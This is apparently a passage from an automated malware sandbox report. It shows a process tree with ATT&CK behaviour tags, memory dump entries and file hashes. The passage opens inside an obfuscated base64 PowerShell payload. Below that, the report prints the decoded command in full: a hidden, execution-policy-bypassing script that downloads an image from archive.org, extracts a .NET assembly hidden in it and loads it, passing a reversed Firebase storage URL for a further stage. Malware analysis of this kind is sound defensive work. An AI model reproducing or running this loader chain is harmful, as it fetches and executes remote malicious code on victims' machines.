▷d㏵ ⊷ ➟ ⇒ ▷Bp㏵ ⊷ ➟ ⇒ ▷G8㏵ ⊷ ➟ ⇒ ▷bg㏵ ⊷ ➟ ⇒ ▷u㏵ ⊷ ➟ ⇒ ▷EE㏵ ⊷ ➟ ⇒ ▷cwBz㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷bQBi㏵ ⊷ ➟ ⇒ ▷Gw㏵ ⊷ ➟ ⇒ ▷eQBd㏵ ⊷ ➟ ⇒ ▷Do㏵ ⊷ ➟ ⇒ ▷OgBM㏵ ⊷ ➟ ⇒ ▷G8㏵ ⊷ ➟ ⇒ ▷YQBk㏵ ⊷ ➟ ⇒ ▷Cg㏵ ⊷ ➟ ⇒ ▷J㏵ ⊷ ➟ ⇒ ▷Bj㏵ ⊷ ➟ ⇒ ▷G8㏵ ⊷ ➟ ⇒ ▷bQBt㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷bgBk㏵ ⊷ ➟ ⇒ ▷EI㏵ ⊷ ➟ ⇒ ▷eQB0㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷cw㏵ ⊷ ➟ ⇒ ▷p㏵ ⊷ ➟ ⇒ ▷Ds㏵ ⊷ ➟ ⇒ ▷J㏵ ⊷ ➟ ⇒ ▷B0㏵ ⊷ ➟ ⇒ ▷Hk㏵ ⊷ ➟ ⇒ ▷c㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷PQ㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷b㏵ ⊷ ➟ ⇒ ▷Bv㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷Z㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷GQ㏵ ⊷ ➟ ⇒ ▷QQBz㏵ ⊷ ➟ ⇒ ▷HM㏵ ⊷ ➟ ⇒ ▷ZQBt㏵ ⊷ ➟ ⇒ ▷GI㏵ ⊷ ➟ ⇒ ▷b㏵ ⊷ ➟ ⇒ ▷B5㏵ ⊷ ➟ ⇒ ▷C4㏵ ⊷ ➟ ⇒ ▷RwBl㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷V㏵ ⊷ ➟ ⇒ ▷B5㏵ ⊷ ➟ ⇒ ▷H㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷ZQ㏵ ⊷ ➟ ⇒ ▷o㏵ ⊷ ➟ ⇒ ▷Cc㏵ ⊷ ➟ ⇒ ▷Z㏵ ⊷ ➟ ⇒ ▷Bu㏵ ⊷ ➟ ⇒ ▷Gw㏵ ⊷ ➟ ⇒ ▷aQBi㏵ ⊷ ➟ ⇒ ▷C4㏵ ⊷ ➟ ⇒ ▷SQBP㏵ ⊷ ➟ ⇒ ▷C4㏵ ⊷ ➟ ⇒ ▷S㏵ ⊷ ➟ ⇒ ▷Bv㏵ ⊷ ➟ ⇒ ▷G0㏵ ⊷ ➟ ⇒ ▷ZQ㏵ ⊷ ➟ ⇒ ▷n㏵ ⊷ ➟ ⇒ ▷Ck㏵ ⊷ ➟ ⇒ ▷Ow㏵ ⊷ ➟ ⇒ ▷k㏵ ⊷ ➟ ⇒ ▷G0㏵ ⊷ ➟ ⇒ ▷ZQB0㏵ ⊷ ➟ ⇒ ▷Gg㏵ ⊷ ➟ ⇒ ▷bwBk㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷PQ㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷B5㏵ ⊷ ➟ ⇒ ▷H㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷ZQ㏵ ⊷ ➟ ⇒ ▷u㏵ ⊷ ➟ ⇒ ▷Ec㏵ ⊷ ➟ ⇒ ▷ZQB0㏵ ⊷ ➟ ⇒ ▷E0㏵ ⊷ ➟ ⇒ ▷ZQB0㏵ ⊷ ➟ ⇒ ▷Gg㏵ ⊷ ➟ ⇒ ▷bwBk㏵ ⊷ ➟ ⇒ ▷Cg㏵ ⊷ ➟ ⇒ ▷JwBW㏵ ⊷ ➟ ⇒ ▷EE㏵ ⊷ ➟ ⇒ ▷SQ㏵ ⊷ ➟ ⇒ ▷n㏵ ⊷ ➟ ⇒ ▷Ck㏵ ⊷ ➟ ⇒ ▷LgBJ㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷dgBv㏵ ⊷ ➟ ⇒ ▷Gs㏵ ⊷ ➟ ⇒ ▷ZQ㏵ ⊷ ➟ ⇒ ▷o㏵ ⊷ ➟ ⇒ ▷CQ㏵ ⊷ ➟ ⇒ ▷bgB1㏵ ⊷ ➟ ⇒ ▷Gw㏵ ⊷ ➟ ⇒ ▷b㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷s㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷WwBv㏵ ⊷ ➟ ⇒ ▷GI㏵ ⊷ ➟ ⇒ ▷agBl㏵ ⊷ ➟ ⇒ ▷GM㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷Bb㏵ ⊷ ➟ ⇒ ▷F0㏵ ⊷ ➟ ⇒ ▷XQ㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷Cg㏵ ⊷ ➟ ⇒ ▷Jw㏵ ⊷ ➟ ⇒ ▷z㏵ ⊷ ➟ ⇒ ▷DQ㏵ ⊷ ➟ ⇒ ▷ZQ㏵ ⊷ ➟ ⇒ ▷3㏵ ⊷ ➟ ⇒ ▷GI㏵ ⊷ ➟ ⇒ ▷ZQBh㏵ ⊷ ➟ ⇒ ▷GY㏵ ⊷ ➟ ⇒ ▷Z㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷1㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷Mw㏵ ⊷ ➟ ⇒ ▷t㏵ ⊷ ➟ ⇒ ▷Dg㏵ ⊷ ➟ ⇒ ▷Mw㏵ ⊷ ➟ ⇒ ▷3㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷LQBm㏵ ⊷ ➟ ⇒ ▷DM㏵ ⊷ ➟ ⇒ ▷Yg㏵ ⊷ ➟ ⇒ ▷0㏵ ⊷ ➟ ⇒ ▷C0㏵ ⊷ ➟ ⇒ ▷MgBl㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷MQ㏵ ⊷ ➟ ⇒ ▷t㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷ZgBk㏵ ⊷ ➟ ⇒ ▷GY㏵ ⊷ ➟ ⇒ ▷N㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷GM㏵ ⊷ ➟ ⇒ ▷Zg㏵ ⊷ ➟ ⇒ ▷9㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷ZQBr㏵ ⊷ ➟ ⇒ ▷G8㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷m㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷aQBk㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷bQ㏵ ⊷ ➟ ⇒ ▷9㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷b㏵ ⊷ ➟ ⇒ ▷Bh㏵ ⊷ ➟ ⇒ ▷D8㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷B4㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷Lg㏵ ⊷ ➟ ⇒ ▷x㏵ ⊷ ➟ ⇒ ▷D㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷N㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷y㏵ ⊷ ➟ ⇒ ▷D㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷Mg㏵ ⊷ ➟ ⇒ ▷4㏵ ⊷ ➟ ⇒ ▷D㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷Ng㏵ ⊷ ➟ ⇒ ▷w㏵ ⊷ ➟ ⇒ ▷G0㏵ ⊷ ➟ ⇒ ▷cgBv㏵ ⊷ ➟ ⇒ ▷Hc㏵ ⊷ ➟ ⇒ ▷e㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷bwBs㏵ ⊷ ➟ ⇒ ▷C8㏵ ⊷ ➟ ⇒ ▷bw㏵ ⊷ ➟ ⇒ ▷v㏵ ⊷ ➟ ⇒ ▷G0㏵ ⊷ ➟ ⇒ ▷bwBj㏵ ⊷ ➟ ⇒ ▷C4㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷Bv㏵ ⊷ ➟ ⇒ ▷H㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷cwBw㏵ ⊷ ➟ ⇒ ▷H㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷YQ㏵ ⊷ ➟ ⇒ ▷u㏵ ⊷ ➟ ⇒ ▷DQ㏵ ⊷ ➟ ⇒ ▷Mg㏵ ⊷ ➟ ⇒ ▷w㏵ ⊷ ➟ ⇒ ▷DI㏵ ⊷ ➟ ⇒ ▷cwB0㏵ ⊷ ➟ ⇒ ▷H㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷eQBy㏵ ⊷ ➟ ⇒ ▷GM㏵ ⊷ ➟ ⇒ ▷LwBi㏵ ⊷ ➟ ⇒ ▷C8㏵ ⊷ ➟ ⇒ ▷M㏵ ⊷ ➟ ⇒ ▷B2㏵ ⊷ ➟ ⇒ ▷C8㏵ ⊷ ➟ ⇒ ▷bQBv㏵ ⊷ ➟ ⇒ ▷GM㏵ ⊷ ➟ ⇒ ▷LgBz㏵ ⊷ ➟ ⇒ ▷Gk㏵ ⊷ ➟ ⇒ ▷c㏵ ⊷ ➟ ⇒ ▷Bh㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷b㏵ ⊷ ➟ ⇒ ▷Bn㏵ ⊷ ➟ ⇒ ▷G8㏵ ⊷ ➟ ⇒ ▷bwBn㏵ ⊷ ➟ ⇒ ▷C4㏵ ⊷ ➟ ⇒ ▷ZQBn㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷cgBv㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷cwBl㏵ ⊷ ➟ ⇒ ▷HM㏵ ⊷ ➟ ⇒ ▷YQBi㏵ ⊷ ➟ ⇒ ▷GU㏵ ⊷ ➟ ⇒ ▷cgBp㏵ ⊷ ➟ ⇒ ▷GY㏵ ⊷ ➟ ⇒ ▷Lw㏵ ⊷ ➟ ⇒ ▷v㏵ ⊷ ➟ ⇒ ▷Do㏵ ⊷ ➟ ⇒ ▷cwBw㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷d㏵ ⊷ ➟ ⇒ ▷Bo㏵ ⊷ ➟ ⇒ ▷Cc㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷s㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷Jw㏵ ⊷ ➟ ⇒ ▷x㏵ ⊷ ➟ ⇒ ▷Cc㏵ ⊷ ➟ ⇒ ▷I㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷s㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷JwBD㏵ ⊷ ➟ ⇒ ▷Do㏵ ⊷ ➟ ⇒ ▷X㏵ ⊷ ➟ ⇒ ▷BQ㏵ ⊷ ➟ ⇒ ▷HI㏵ ⊷ ➟ ⇒ ▷bwBn㏵ ⊷ ➟ ⇒ ▷HI㏵ ⊷ ➟ ⇒ ▷YQBt㏵ ⊷ ➟ ⇒ ▷EQ㏵ ⊷ ➟ ⇒ ▷YQB0㏵ ⊷ ➟ ⇒ ▷GE㏵ ⊷ ➟ ⇒ ▷X㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷n㏵ ⊷ ➟ ⇒ ▷C㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷L㏵ ⊷ ➟ ⇒ ▷㏵ ⊷ ➟ ⇒ ▷g㏵ ⊷ ➟ ⇒ ▷Cc㏵ ⊷ ➟ ⇒ ▷ZQBz㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷YQB1㏵ ⊷ ➟ ⇒ ▷HI㏵ ⊷ ➟ ⇒ ▷YQBu㏵ ⊷ ➟ ⇒ ▷HQ㏵ ⊷ ➟ ⇒ ▷a㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷HI㏵ ⊷ ➟ ⇒ ▷YQ㏵ ⊷ ➟ ⇒ ▷n㏵ ⊷ ➟ ⇒ ▷Cw㏵ ⊷ ➟ ⇒ ▷JwBB㏵ ⊷ ➟ ⇒ ▷GQ㏵ ⊷ ➟ ⇒ ▷Z㏵ ⊷ ➟ ⇒ ▷BJ㏵ ⊷ ➟ ⇒ ▷G4㏵ ⊷ ➟ ⇒ ▷U㏵ ⊷ ➟ ⇒ ▷By㏵ ⊷ ➟ ⇒ ▷G8㏵ ⊷ ➟ ⇒ ▷YwBl㏵ ⊷ ➟ ⇒ ▷HM㏵ ⊷ ➟ ⇒ ▷cw㏵ ⊷ ➟ ⇒ ▷z㏵ ⊷ ➟ ⇒ ▷DI㏵ ⊷ ➟ ⇒ ▷Jw㏵ ⊷ ➟ ⇒ ▷s㏵ ⊷ ➟ ⇒ ▷Cc㏵ ⊷ ➟ ⇒ ▷Z㏵ ⊷ ➟ ⇒ ▷Bl㏵ ⊷ ➟ ⇒ ▷HM㏵ ⊷ ➟ ⇒ ▷YQB0㏵ ⊷ ➟ ⇒ ▷Gk㏵ ⊷ ➟ ⇒ ▷dgBh㏵ ⊷ ➟ ⇒ ▷GQ㏵ ⊷ ➟ ⇒ ▷bw㏵ ⊷ ➟ ⇒ ▷n㏵ ⊷ ➟ ⇒ ▷Ck㏵ ⊷ ➟ ⇒ ▷KQ㏵ ⊷ ➟ ⇒ ▷=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('㏵ ⊷ ➟ ⇒ ▷','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2840
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('34e7beafd5a3-837a-f3b4-2ee1-afdf4ecf=nekot&aidem=tla?txt.1042028060mrowxenol/o/moc.topsppa.4202stpyrc/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , '1' , 'C:\ProgramData\' , 'estauranthera','AddInProcess32','desativado'))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2568

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    dfa7820a12753e4578c49cc2d5b43a0f

    SHA1

    a3fcb7b1f66ef3474e8490e87be20e92e0044ac3

    SHA256

    4245b46bd46c934978b67c0dfb136ad3eb519d8752eff8efb609c9f877e4f887

    SHA512

    75c47321973fd2319c1ec92a8482e9194a7dcb956380fc26974de0e26a6ca42fbe680891a0c024d798353db83bf0f65fbb4c8d36485e16b41b258c0f691091a2

    Download Submit

  • memory/2840-4-0x000007FEF60EE000-0x000007FEF60EF000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2840-5-0x000000001B660000-0x000000001B942000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2840-6-0x0000000001E70000-0x0000000001E78000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2840-7-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2840-8-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2840-10-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2840-15-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2840-16-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

    Filesize

    9.6MB

    Download